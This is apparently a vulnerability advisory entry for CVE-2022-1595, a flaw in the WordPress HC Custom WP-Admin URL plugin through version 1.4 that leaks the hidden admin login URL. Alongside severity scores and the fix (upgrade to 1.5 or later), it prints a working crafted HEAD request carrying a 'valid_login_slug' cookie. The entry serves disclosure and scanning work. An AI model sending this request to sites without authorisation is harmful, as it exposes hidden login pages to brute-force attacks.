| Title | WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure |
|---|---|
| Author | theamanrawat,oleveloper |
| Severity | Medium |
| Impact | Attackers can obtain the secret custom admin login URL by sending crafted requests with specific cookies, potentially facilitating brute force attacks against the admin panel. |
| Remediation | Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.28971 |
| CVE ID | CVE-2022-1595 |
| CWE ID | CWE-200 |
| Tags | cve cve2022 unauth wpscan wordpress wp-plugin wp hc-custom-wp-admin-url vuln |
The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request
HEAD /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Cookie: valid_login_slug=1
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